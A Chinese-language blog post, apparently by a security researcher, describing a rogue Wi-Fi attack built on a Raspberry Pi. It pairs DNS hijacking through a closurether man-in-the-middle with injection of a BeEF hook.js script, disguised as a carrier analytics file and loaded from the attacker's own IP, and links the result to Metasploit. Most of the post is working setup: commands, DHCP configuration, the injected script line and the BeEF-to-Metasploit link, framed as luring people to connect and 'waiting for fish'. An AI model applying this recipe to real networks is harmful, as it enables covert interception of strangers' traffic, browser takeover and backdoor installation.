JS投毒的另一種嘗試
半個(gè)月前看了EtherDream寫的那篇wifi流量劫持和JS投毒,隨手就在公司實(shí)驗(yàn)室里折騰了一下,頭一次接觸這個(gè)領(lǐng)域,感覺挺新鮮的。然后又看到sh4dow@lcx.cc寫了一篇《內(nèi)網(wǎng)DNS投毒技術(shù)劫持會(huì)話》,我決定把我做的東西也分享一下。
0×01 攻擊思路
1、用樹莓派建立一個(gè)AP,誘使別人過來連接。
2、在樹莓派里,設(shè)定DNS,指向一臺(tái)代理主機(jī)(其實(shí)就是中間人)。
3、在代理主機(jī)上運(yùn)行closurether,進(jìn)行JS投毒。
4、投毒可以有很多種,closurether的原作者是設(shè)計(jì)了一個(gè)可以截獲用戶的登陸時(shí)候輸入的用戶名和密碼,但是那個(gè)鏈接已經(jīng)失效了,自己又不會(huì)寫js,所以就改用別的思路。這里我選擇了BeEF框架進(jìn)行配合,在流量中插入hook.js。
5、既然BeEF可以配合MSF來攻擊瀏覽器,那這里自然也少不了MSF的戲份。
0×02 工具準(zhǔn)備
EDUP 迷你USB無線網(wǎng)卡 免驅(qū)動(dòng) (RTL8188CUS)
Raspberry Pi,系統(tǒng)鏡像是Raspbian
團(tuán)隊(duì)的Summer建議我用TP-Link TL-WR703N 刷一個(gè)openWRT,便攜而且還可以實(shí)現(xiàn)很多其他的功能。
這個(gè)想法還沒有去嘗試,openWRT刷進(jìn)路由以后,路由就沒有任何空間來安裝其他的東西了。
0×03 改造樹莓派
首先讓樹莓派運(yùn)行起來,玩過的人都知道怎么弄,下載鏡像,寫入鏡像,不做贅述。
其次是讓樹莓派作為一個(gè)路由器運(yùn)行起來
詳細(xì)的可以看這里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/
這是使用樹莓派建立無線AP的最早一篇文章。這里講的非常詳細(xì),包括原理和具體配置都列舉出來了,照著一步步坐下來,不會(huì)出太大意外。
這里偽造的wifi是我以前學(xué)調(diào)酒的那間酒吧用的,我?guī)煾甘荓avazza的頂級(jí)咖啡師。不過那家酒吧關(guān)門了……在南京的童鞋如果有興趣,還是有地方可以讓我調(diào)酒的。
0×04建立中間人
在JS緩存投毒的文章中,作者給了非常詳細(xì)的原理解釋,并給出了實(shí)現(xiàn)代碼。
我測(cè)試的平臺(tái)是Mac OS X 10.0(黑蘋果),安裝簡(jiǎn)易,沒有發(fā)生任何狀況。
首先需要安裝node.js
然后安裝closurether
npm install -g closurether
運(yùn)行closurether
closurether
closurether運(yùn)行成功的話,就會(huì)看到下面的信息(linux下運(yùn)行closurether需要的權(quán)限比較高,windows不能開啟其他占用80、443端口的服務(wù))
sudo closurether
Password:
[SYS] local ip: 172.16.6.37
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
這個(gè)時(shí)候如果設(shè)置瀏覽器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http請(qǐng)求
如果你這么做了,不妨在瀏覽器中查看源碼,你會(huì)看到源碼中已經(jīng)被植入了一個(gè)script標(biāo)簽,這個(gè)就是被closurether植入的攻擊代碼。
為了偽裝,把地址寫成了http://10086.cn/js10086/201306301200.js
但實(shí)際上,10086.cn上可不會(huì)有這么個(gè)文件….好一手栽贓嫁禍,我是偽裝成了google-analytis的站點(diǎn)分析腳本
使用的攻擊腳本和偽裝都可以在config.json文件中修改
0×05修改DNS
依然已經(jīng)準(zhǔn)備了代理(中間人),那么就需要讓流量指向代理,前面說設(shè)置瀏覽器代理可以實(shí)現(xiàn),但最理想的還是作者提供的修改DNS
修改DNS,指向代理服務(wù)器,那么所有使用這個(gè)wifi上網(wǎng)的人解析域名就都解析到了代理服務(wù)器,DNS解析之后,再把http流量也指向代理服務(wù)器,就順理成章的使closurether成為了中間人
在樹莓派的DHCP中設(shè)置:
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.1 192.168.1.254;
option routers 192.168.1.1;
option domain-name-servers 172.16.6.37;
interface wlan0;
}
172.16.6.37也就是我本機(jī)
那么這個(gè)時(shí)候,連接到這個(gè)wifi的設(shè)備進(jìn)行DNS解析的時(shí)候,得到的結(jié)果都是172.16.6.37
然后,其他的請(qǐng)求也就都指向了代理。
PS:closurether作者考慮的很周到,js投毒只能針對(duì)http或https協(xié)議,如果是其他的協(xié)議,那么在第二次請(qǐng)求的時(shí)候就把真實(shí)的DNS請(qǐng)求結(jié)果反饋給客戶端,這樣就不會(huì)那么容易被發(fā)現(xiàn)了。
0X06 BeEF和MSF
別人的文章里比我寫的要清楚,就不多說了
但是目前關(guān)于BeEF使用的文章還比較少,還在陸續(xù)的挖掘其中的功能。
主要是需要建立BeEF和MSF的協(xié)作
使用
msfconsole -r beef.rc
來建立一個(gè)MSF的XMLRPC服務(wù),然后BeEF啟動(dòng)以后會(huì)自動(dòng)調(diào)用
beef.rc的內(nèi)容如下:
load xmlrpc ServerHost=<服務(wù)器IP> Pass=<密碼> ServerType=Web
0×07 把毒藥撒向天空,讓它隨風(fēng)飄揚(yáng)(此處應(yīng)有反派出場(chǎng)的音樂)
closurether中做如下修改:
修改asset/inject/extern.js,在function中增加:
- var commandModuleStr = '<script src="http://172.16.6.37:3000/hook.js" type="text/javascript">// <![CDATA[
- <\/script>';
- document.write(commandModuleStr);
http://172.16.6.37:3000/hook.js是BeEF的XSS腳本,理論上,這個(gè)腳本可以放在任何地方,也可以被closurether直接向流量中注入,還是因?yàn)椴欢甹s,沒有做過多的嘗試。
然后,就等魚上鉤了
接下來就是如何利用BeEF和MSF去攻擊瀏覽器的內(nèi)容了。
按照closurether作者的思路,被投進(jìn)去的js腳本會(huì)長(zhǎng)期保存在用戶的電腦里,時(shí)間又長(zhǎng)有短??赡茉谖磥淼哪骋惶?,一臺(tái)設(shè)備就突然上線了。
貌似用BeEF控制用戶的瀏覽器去下載一個(gè)后門文件,也是可以的。
0×08小結(jié)
1、都是前人的東西,只不過組合了一下而已,沒有任何穿創(chuàng)新,比較水。
2、hook.js對(duì)手機(jī)瀏覽器沒有任何效果
3、MSF的漏洞庫比較并沒有想象中那么強(qiáng)大,想要一舉拿下被投毒的電腦,沒有幾個(gè)0day估計(jì)是搞不定的
4、忽然對(duì)360清空瀏覽器緩存的功能感到很糾結(jié)……
5、用樹莓派來實(shí)現(xiàn)這個(gè)功能,只是為了工作需要,經(jīng)常出去做一些演講,用這套設(shè)備效果會(huì)很好。實(shí)戰(zhàn)中可能的問題就是,樹莓派和中間人服務(wù)器,必須有一個(gè)能連接互聯(lián)網(wǎng)。
6、樹莓派上安裝closurether也有些問題,還沒做深入研究。